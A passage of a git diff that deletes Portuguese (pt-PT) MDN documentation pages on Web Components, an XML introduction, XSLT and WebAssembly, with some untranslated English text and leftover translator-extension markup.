- <ul>
- <li>{{cssxref(":defined")}}: Matches any element that is defined, including built in elements and custom elements defined with <code>CustomElementRegistry.define()</code>).</li>
- <li>{{cssxref(":host")}}: Selects the shadow host of the <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> containing the CSS it is used inside.</li>
- <li>{{cssxref(":host()")}}: Selects the shadow host of the <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> containing the CSS it is used inside (so you can select a custom element from inside its shadow DOM) — but only if the selector given as the function's parameter matches the shadow host.</li>
- <li>{{cssxref(":host-context()")}}: Selects the shadow host of the <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">shadow DOM</a> containing the CSS it is used inside (so you can select a custom element from inside its shadow DOM) — but only if the selector given as the function's parameter matches the shadow host's ancestor(s) in the place it sits inside the DOM hierarchy.</li>
- </ul>
- </dd>
-</dl>
-
-<h3 id="Shadow_DOM">Shadow DOM</h3>
-
-<dl>
- <dt>{{domxref("ShadowRoot")}}</dt>
- <dd>Represents the root node of a shadow DOM subtree.</dd>
- <dt>{{domxref("DocumentOrShadowRoot")}}</dt>
- <dd>A mixin defining features that are available across document and shadow roots.</dd>
- <dt>{{domxref("Element")}} extensions</dt>
- <dd>Extensions to the <code>Element</code> interface related to shadow DOM:
- <ul>
- <li>The {{domxref("Element.attachShadow()")}} method attaches a shadow DOM tree to the specified element.</li>
- <li>The {{domxref("Element.shadowRoot")}} property returns the shadow root attached to the specified element, or <code>null</code> if there is no shadow root attached.</li>
- </ul>
- </dd>
- <dt>Relevant {{domxref("Node")}} additions</dt>
- <dd>Additions to the <code>Node</code> interface relevant to shadow DOM:
- <ul>
- <li>The {{domxref("Node.getRootNode()")}} method returns the context object's root, which optionally includes the shadow root if it is available.</li>
- <li>The {{domxref("Node.isConnected")}} property returns a boolean indicating whether or not the Node is connected (directly or indirectly) to the context object, e.g. the {{domxref("Document")}} object in the case of the normal DOM, or the {{domxref("ShadowRoot")}} in the case of a shadow DOM.</li>
- </ul>
- </dd>
- <dt>{{domxref("Event")}} extensions</dt>
- <dd>Extensions to the <code>Event</code> interface related to shadow DOM:
- <ul>
- <li>{{domxref("Event.composed")}}: Returns a {{jsxref("Boolean")}} which indicates whether the event will propagate across the shadow DOM boundary into the standard DOM (<code>true</code>), or not  (<code>false</code>).</li>
- <li>{{domxref("Event.composedPath")}}: Returns the event’s path (objects on which listeners will be invoked). This does not include nodes in shadow trees if the shadow root was created with {{domxref("ShadowRoot.mode")}} closed.</li>
- </ul>
- </dd>
-</dl>
-
-<h3 id="Modelos_de_HTML">Modelos de HTML</h3>
-
-<dl>
- <dt>{{htmlelement("template")}}</dt>
- <dd>Contains an HTML fragment that is not rendered when a containing document is initially loaded, but can be displayed at runtime using JavaScript, mainly used as the basis of custom element structures. The associated DOM interface is {{domxref("HTMLTemplateElement")}}.</dd>
- <dt>{{htmlelement("slot")}}</dt>
- <dd>A placeholder inside a web component that you can fill with your own markup, which lets you create separate DOM trees and present them together. The associated DOM interface is {{domxref("HTMLSlotElement")}}.</dd>
- <dt>The <code><a href="/en-US/docs/Web/HTML/Global_attributes/slot">slot</a></code> global HTML attribute</dt>
- <dd>Assigns a slot in a shadow DOM shadow tree to an element.</dd>
- <dt>{{domxref("Slotable")}}</dt>
- <dd>A mixin implemented by both {{domxref("Element")}} and {{domxref("Text")}} nodes, defining features that allow them to become the contents of an {{htmlelement("slot")}} element. The mixin defines one attribute, {{domxref("Slotable.assignedSlot")}}, which returns a reference to the slot the node is inserted in.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Element")}} extensions</dt>
- <dd>Extensions to the <code>Element</code> interface related to slots:
- <ul>
- <li>{{domxref("Element.slot")}}: Returns the name of the shadow DOM slot attached to the element.</li>
- </ul>
- </dd>
- <dt>CSS pseudo-elements</dt>
- <dd>Pseudo-elements relating specifically to slots:
- <ul>
- <li>{{cssxref("::slotted")}}: Matches any content that is inserted into a slot.</li>
- </ul>
- </dd>
- <dt>The {{event("slotchange")}} event</dt>
- <dd>Fired on an {{domxref("HTMLSlotElement")}} instance ({{htmlelement("slot")}} element) when the node(s) contained in that slot change.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>We are building up a number of examples in our <a href="https://github.com/mdn/web-components-examples">web-components-examples</a> GitHub repo. More will be added as time goes on.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName("HTML WHATWG","scripting.html#the-template-element","&lt;template&gt; element")}}</td>
- <td>{{Spec2("HTML WHATWG")}}</td>
- <td>The definition of {{HTMLElement("template")}}.</td>
- </tr>
- <tr>
- <td>{{SpecName("HTML WHATWG","custom-elements.html#custom-elements","custom elements")}}</td>
- <td>{{Spec2("HTML WHATWG")}}</td>
- <td>The definition of <a href="/en-US/docs/Web/Web_Components/Using_custom_elements">HTML Custom Elements</a>.</td>
- </tr>
- <tr>
- <td>{{SpecName("DOM WHATWG","#shadow-trees","shadow trees")}}</td>
- <td>{{Spec2("DOM WHATWG")}}</td>
- <td>The definition of <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a>.</td>
- </tr>
- <tr>
- <td>{{SpecName("HTML Imports", "", "")}}</td>
- <td>{{Spec2("HTML Imports")}}</td>
- <td>Initial <a href="/en-US/docs/Web/Web_Components/HTML_Imports">HTML Imports</a> definition.</td>
- </tr>
- <tr>
- <td>{{SpecName("Shadow DOM", "", "")}}</td>
- <td>{{Spec2("Shadow DOM")}}</td>
- <td>Initial <a href="/en-US/docs/Web/Web_Components/Using_shadow_DOM">Shadow DOM</a> definition.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p>In general:</p>
-
-<ul>
- <li>Web components are supported by default in Firefox (version 63), Chrome, and Opera.</li>
- <li>Safari supports a number of web component features, but less than the above browsers.</li>
- <li>Edge is working on an implementation.</li>
-</ul>
-
-<p>For detailed browser support of specific features, you'll have to consult the reference pages listed above.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="https://www.webcomponents.org/">webcomponents.org</a> — site featuring web components examples, tutorials, and other information.</li>
- <li><a href="https://github.com/hybridsjs/hybrids">Hybrids</a> — Open source web components library, which favors plain objects and pure functions over <code>class</code> and <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">this</span></font> syntax. It provides a simple and functional API for creating custom elements.</li>
- <li><a href="https://www.polymer-project.org/">Polymer</a> — Google's web components framework — a set of polyfills, enhancements, and examples. Currently the easiest way to use web components cross-browser.</li>
- <li><a href="https://github.com/devpunks/snuggsi#readme">Snuggsi.es</a> — Easy Web Components in ~1kB <em>Including polyfill</em> — All you need is a browser and basic understanding of HTML, CSS, and JavaScript classes to be productive.</li>
- <li><a href="https://github.com/slimjs/slim.js">Slim.js</a> — Open source web components library — a high-performant library for rapid and easy component authoring; extensible and pluggable and cross-framework compatible.</li>
- <li><a href="https://www.htmlelements.com/">Smart.js</a> — Web Components library with simple API for creating cross-browser custom elements. </li>
-</ul>
diff --git a/files/pt-pt/web/xml/index.html b/files/pt-pt/web/xml/index.html
deleted file mode 100644
index e8b7c11430..0000000000
--- a/files/pt-pt/web/xml/index.html
+++ /dev/null
@@ -1,15 +0,0 @@
----
-title: 'XML:- Linguagem de Marcação Extensível'
-slug: Web/XML
-tags:
- - Draft
- - Landing
- - Web
- - XML
-translation_of: Web/XML
----
-<p>{{QuickLinksWithSubpages("/pt-PT/docs/Web/XML")}}</p>
-
-<p class="summary">A <strong>Linguagem de Marcação Extensível </strong>é uma a serialização estrita do <a href="pt-PT/docs/DOM/DOM_Reference">Modelo de Objeto de Documento</a>.</p>
-
-<p>{{LandingPageListSubpages}}</p>
diff --git a/files/pt-pt/web/xml/xml_introduction/index.html b/files/pt-pt/web/xml/xml_introduction/index.html
deleted file mode 100644
index ff94cb49c2..0000000000
--- a/files/pt-pt/web/xml/xml_introduction/index.html
+++ /dev/null
@@ -1,205 +0,0 @@
----
-title: Introdução à XML
-slug: Web/XML/XML_introduction
-tags:
- - Introdução
- - Principiante
- - XML
-translation_of: Web/XML/XML_introduction
-original_slug: Web/XML/Introducao_a_XML
----
-<p><span class="seoSummary">XML é uma linguagem de marcação similar à HTML. It stands for Extensible Markup Language and is a <a class="external" href="/web/20150905131205/http://www.w3.org/">W3C recommended</a> specification as a general purpose markup language. This means, unlike other markup languages, XML is not predefined so you must define your own tags. The primary purpose of the language is the sharing of data across different systems, such as the Internet.</span></p>
-
-<p>There are many languages based on XML; Some examples are <a href="/en-US/docs/Glossary/XHTML" title="en/XHTML">XHTML</a>, <a href="/en-US/docs/Web/MathML" title="en/MathML">MathML</a>, <a href="/en-US/docs/Web/SVG" title="en/SVG">SVG</a>, <a href="/en-US/docs/Mozilla/Tech/XUL" title="en/XUL">XUL</a>, <a href="/en-US/docs/Mozilla/Tech/XBL" title="en/XBL">XBL</a>, <a href="/en-US/docs/Web/RSS" title="en/RSS">RSS</a>, and <a href="/en-US/docs/Web/RDF" title="en/RDF">RDF</a>. You can also create your own.</p>
-
-<h2 id="Correct_XML_(valid_and_well-formed)">"Correct" XML (valid and well-formed)</h2>
-
-<p>For an XML document to be correct it must be a well-formed document, conforming to all of XML's syntax rules, and valid, conforming to a specific language's rules. An example of a document that is not well formed is one with an element that has an opening tag with no closing tag and is not self-closing.</p>
-
-<h3 id="Exemplo">Exemplo</h3>
-
-<p>In the below example, we see a document in which a tag that isn't self-closing has no closing tag.</p>
-
-<pre class="brush: xml">&lt;message&gt;
- &lt;warning&gt;
- Hello World
- &lt;!--missing &lt;/warning&gt; --&gt;
-&lt;/message&gt;
-</pre>
-
-<p>Now let's look at a corrected version of that same document:</p>
-
-<pre class="brush: xml">&lt;message&gt;
- &lt;warning&gt;
- Hello World
- &lt;/warning&gt;
-&lt;/message&gt;
-</pre>
-
-<p>To be valid, an XML document needs to conform to some semantic rules which are usually set in an XML schema or a <strong><a href="/en-US/docs/Glossary/DTD" title="en/DTD">Document Type Definition</a></strong> (DTD). A document that contains an undefined tag is invalid. For example, if we never defined the <code>&lt;warning&gt;</code> tag, the document above wouldn't be valid.</p>
-
-<div class="note">
-<p>Most browsers offer a debugger that can identify poorly-formed XML documents.</p>
-</div>
-
-<h2 id="Entities" name="Entities">Entidades</h2>
-
-<p>Like HTML, XML offers methods (called entities) for referring to some special reserved characters (such as a greater than sign which is used for tags). There are five of these characters that you should know:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Entidade</th>
- <th scope="col">Cárater</th>
- <th scope="col">Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>&amp;lt;</td>
- <td>&lt;</td>
- <td>Less than sign</td>
- </tr>
- <tr>
- <td>&amp;gt;</td>
- <td>&gt;</td>
- <td>Greater than sign</td>
- </tr>
- <tr>
- <td>&amp;amp;</td>
- <td>&amp;</td>
- <td>Ampersand</td>
- </tr>
- <tr>
- <td>&amp;quot;</td>
- <td>"</td>
- <td>One double-quotation mark</td>
- </tr>
- <tr>
- <td>&amp;apos;</td>
- <td>'</td>
- <td>One apostrophe (or single-quotation mark)</td>
- </tr>
- </tbody>
-</table>
-
-<p>Even though there are only 5 declared entities, more can be added using the document's <a href="/en-US/docs/Glossary/DTD" title="en/DTD">Document Type Definition</a>. For example, to create a new <code>&amp;warning;</code> entity, you can do this:</p>
-
-<pre>&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;!DOCTYPE body [
- &lt;!ENTITY warning "Warning: Something bad happened... please refresh and try again."&gt;
-]&gt;
-&lt;body&gt;
- &lt;message&gt; &amp;warning; &lt;/message&gt;
-&lt;/body&gt;
-</pre>
-
-<p>You can also use numeric character references to specify special characters; for example, &amp;#xA9; is the "©" symbol.</p>
-
-<h2 id="Exibir_XML">Exibir XML</h2>
-
-<p>XML is usually used for descriptive purposes, but there are ways to display XML data. If you don't define a specific way for the XML to be rendered, the raw XML is displayed in the browser.</p>
-
-<p>One way to style XML output is to specify <a href="/en-US/docs/Web/CSS" title="en/CSS">CSS</a> to apply to the document using the <code>xml-stylesheet</code> processing instruction.</p>
-
-<pre>&lt;?xml-stylesheet type="text/css" href="stylesheet.css"?&gt;</pre>
-
-<p>There is also another more powerful way to display XML: the <strong>Extensible Stylesheet Language Transformations</strong> (<a href="/en-US/docs/Web/XSLT" title="en/XSLT">XSLT</a>) which can be used to transform XML into other languages such as HTML. This makes XML incredibly versatile.</p>
-
-<pre>&lt;?xml-stylesheet type="text/xsl" href="transform.xsl"?&gt;</pre>
-
-<h2 id="Recommendations" name="Recommendations">Recomendações</h2>
-
-<p>This article is obviously only a very brief introduction to what XML is, with a few small examples and references to get you started. For more details about XML, you should look around on the Web for more in-depth articles.</p>
-
-<p>Learning the HyperText Markup Language (<a href="/en-US/docs/Web/HTML" title="en/HTML">HTML</a>) will help you better understand XML.</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a class="external" href="http://www.xml.com/">XML.com</a></li>
- <li><a class="external" href="https://www.w3.org/XML/">Extensible Markup Language (XML) @ W3.org</a></li>
- <li><a class="external" href="http://www.alistapart.com/d/usingxml/xml_uses_a.html">XML Example: A List Apart</a></li>
- <li><a class="external" href="http://www.alistapart.com/articles/usingxml/">Using XML: A List Apart</a></li>
-</ul>
-
-<p>O artigo <a href="http://www.alistapart.com/articles/usingxml/"><em>Using</em> XML</a> acima, é um grande recurso de informação para transformar e criar a sua própria linguagem.</p>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 0; display: none; left: -8px; top: -25px; transition: visibility 2s ease 0s, opacity 2s linear 0s;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/xslt/index.html b/files/pt-pt/web/xslt/index.html
deleted file mode 100644
index 313b05081f..0000000000
--- a/files/pt-pt/web/xslt/index.html
+++ /dev/null
@@ -1,56 +0,0 @@
----
-title: XSLT
-slug: Web/XSLT
-tags:
- - XSLT
-translation_of: Web/XSLT
----
-<div><strong>Extensible Stylesheet Language Transformations (XSLT)</strong> é uma linguagem utilizada baseada em <a href="/pt/XML" title="pt/XML">XML</a>, em conjunto com software de processamento especializado, para a transformação de documentos XML. Apesar do processo ser referido como "transformação", o documento original não é alterado; em vez disso, é criado um novo documento XML baseado no conteúdo de um documento existente. Depois, o novo documento poderá ser serializado (saída) pelo processador na sintaxe XML padrão ou em outro formato, tais como <a href="/pt/HTML" title="pt/HTML">HTML</a> ou texto simples. XLST é frequentemente utilizado para converter dados entre esquemas XML diferentes ou para converter dados XML em páginas da Web ou documentos PDF. {{ Ref("one") }}</div>
-
-<table class="topicpage-table">
- <tbody>
- <tr>
- <td>
- <h2 class="Documentation" id="Documentation" name="Documentation">Documentação</h2>
-
- <dl>
- <dt><a href="/en-US/docs/XSLT/Elements" title="XSLT/Elements">XSLT Element Reference</a></dt>
- <dd>Reference.</dd>
- <dt><a href="/en-US/docs/Web/XSLT/Transforming_XML_with_XSLT" title="Transforming_XML_with_XSLT">Transforming XML with XSLT</a></dt>
- <dd>XSLT allows a stylesheet author to transform a primary XML document in two significant ways: manipulating and sorting the content, including a wholesale reordering of it if so desired, and transforming the content into a different format.</dd>
- <dt><a href="/en-US/docs/Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations" title="Using_the_Mozilla_JavaScript_interface_to_XSL_Transformations">Using the Mozilla JavaScript interface to XSL Transformations</a></dt>
- <dd>This document describes the JavaScript interface to the XSLT processing engine in Mozilla 1.2 and up.</dd>
- <dt><a href="/en-US/docs/XSLT/PI_Parameters" title="XSLT/PI_Parameters">Specifying parameters using processing instructions</a></dt>
- <dd>Firefox allows stylesheet parameters to be specified when using the <code>&lt;?xml-stylesheet?&gt;</code> processing instruction. This is done using the <code>&lt;?xslt-param?&gt;</code> PI described in this document.</dd>
- <dt><span class="external">XSLT &amp; XPath Tutorial</span></dt>
- <dd>The TopXML XSLT tutorial introduces you to the basics of XSLT concepts, syntax, and programming.</dd>
- <dt><a class="external" href="http://www.w3schools.com/xml/xsl_intro.asp">XSLT Tutorial</a></dt>
- <dd>This <a class="external" href="http://www.w3schools.com">W3Schools</a> tutorial teaches the reader how to use XSLT to transform XML documents into other formats, like XHTML.</dd>
- <dt><a class="external" href="http://www.xml.com/pub/a/2000/08/holman/">What is XSLT?</a></dt>
- <dd>This extensive introduction to XSLT and XPath assumes no prior knowledge of the technologies, and guides the reader through background, context, structure, concepts and introductory terminology.</dd>
- <dt><a href="/en-US/docs/Common_XSLT_Errors" title="Common XSLT Errors">Common XSLT Errors</a></dt>
- <dd>This article lists some common problems using XSLT in Firefox.</dd>
- <dt><a href="/en-US/docs/XSLT_2.0" title="XSLT_2.0">XSLT 2.0</a> (new)</dt>
- </dl>
-
- <p><span class="alllinks"><a href="/en-US/docs/tag/XSLT" title="en-US/docs/tag/XSLT">View All...</a></span></p>
- </td>
- <td>
- <h2 class="Community" id="Community" name="Community">Comunidade</h2>
-
- <ul>
- <li>View Mozilla forums... {{ DiscussionList("dev-tech-xslt", "mozilla.dev.tech.xslt") }}</li>
- </ul>
-
- <h4 class="Related_Topics" id="Related_Topics" name="Related_Topics">Tópicos Relacionados</h4>
-
- <ul>
- <li><a href="/pt-PT/docs/Introducao_a_XML" title="XML">XML</a>, <a href="/pt-PT/docs/Web/XPath" title="XPath">XPath</a>, <a href="/en-US/docs/XQuery" title="XQuery">XQuery</a></li>
- </ul>
- </td>
- </tr>
- </tbody>
-</table>
-
-<hr>
-<p><small>{{ endnote("one") }} Esta descrição de XSLT foi obtida do <a class="external" href="https://pt.wikipedia.org/wiki/XSLT">artigo XSLT da Wikipédia</a>. </small></p>
diff --git a/files/pt-pt/webassembly/index.html b/files/pt-pt/webassembly/index.html
deleted file mode 100644
index 0f6ead1b6b..0000000000
--- a/files/pt-pt/webassembly/index.html
+++ /dev/null
@@ -1,115 +0,0 @@
----
-title: WebAssembly
-slug: WebAssembly
-tags:
- - Landing
- - WebAssembly
- - wasm
-translation_of: WebAssembly
----
-<div>{{WebAssemblySidebar}}</div>
-
-<p class="summary" dir="ltr" id="docs-internal-guid-22bb55aa-d69e-e8ef-cbc6-aafea272f684">WebAssembly é um novo tipo de código que pode ser executado nos navegadores da Web modernos — é uma linguagem de montagem de baixo nível com um formato binário compacto que é executado com desempenho quase nativo e fornece linguagens como C/C++ com um destino de compilação para que possam ser executadas na Web. Este também é projetado para funcionar com JavaScript, permitindo que ambos trabalhem juntos.</p>
-
-<h2 dir="ltr" id="In_a_Nutshell">In a Nutshell</h2>
-
-<p dir="ltr">WebAssembly has huge implications for the web platform — it provides a way to run code written in multiple languages on the web at near native speed, with client apps running on the web that previously couldn’t have done so.</p>
-
-<p dir="ltr">WebAssembly is designed to complement and run alongside JavaScript — using the WebAssembly JavaScript APIs, you can load WebAssembly modules into a JavaScript app and share functionality between the two. This allows you to take advantage of WebAssembly's performance and power and JavaScript's expressiveness and flexibility in the same apps, even if you don't know how to write WebAssembly code.</p>
-
-<p dir="ltr">And what's even better is that it is being developed as a web standard via the <a href="https://www.w3.org/wasm/">W3C WebAssembly Working Group</a> and <a href="https://www.w3.org/community/webassembly/">Community Group</a> with active participation from all major browser vendors.</p>
-
-<div class="row topicpage-table">
-<div class="section">
-<h2 dir="ltr" id="Guias">Guias</h2>
-
-<dl>
- <dt><a href="/en-US/docs/WebAssembly/Concepts">WebAssembly concepts</a></dt>
- <dd>Get started by reading the high-level concepts behind WebAssembly — what it is, why it is so useful, how it fits into the web platform (and beyond), and how to use it.</dd>
- <dt><a href="/en-US/docs/WebAssembly/C_to_wasm">Compiling a New C/C++ Module to WebAssembly</a></dt>
- <dd>When you’ve written code in C/C++, you can then compile it into .wasm using a tool like <a href="/en-US/docs/Mozilla/Projects/Emscripten/">Emscripten</a>. Let’s look at how it works.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/WebAssembly/existing_C_to_wasm">Compiling an Existing C Module to WebAssembly</a></dt>
- <dd>A core use-case for WebAssembly is to take the existing ecosystem of C libraries and allow developers to use them on the web.</dd>
- <dt><a href="/en-US/docs/WebAssembly/Loading_and_running">Loading and running WebAssembly code</a></dt>
- <dd>After you have a .wasm, this article covers how to fetch, compile and instantiate it, combining the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly">WebAssembly JavaScript</a> API with the <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> or <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> APIs.</dd>
- <dt><a href="/en-US/docs/WebAssembly/Using_the_JavaScript_API">Using the WebAssembly JavaScript API</a></dt>
- <dd>Once you've loaded a .wasm module, you'll want to use it. In this article we show you how to use WebAssembly via the WebAssembly JavaScript API.</dd>
- <dt><a href="/en-US/docs/WebAssembly/Exported_functions">Exported WebAssembly functions</a></dt>
- <dd>Exported WebAssembly functions are the JavaScript reflections of WebAssembly functions which allow calling WebAssembly code from JavaScript. This article describes what they are.</dd>
- <dt><a href="/en-US/docs/WebAssembly/Understanding_the_text_format">Understanding WebAssembly text format</a></dt>
- <dd>This article explains the wasm text format. This is the low-level textual representation of a .wasm module shown in browser developer tools when debugging.</dd>
- <dt><a href="/en-US/docs/WebAssembly/Text_format_to_wasm">Converting WebAssembly text format to wasm</a></dt>
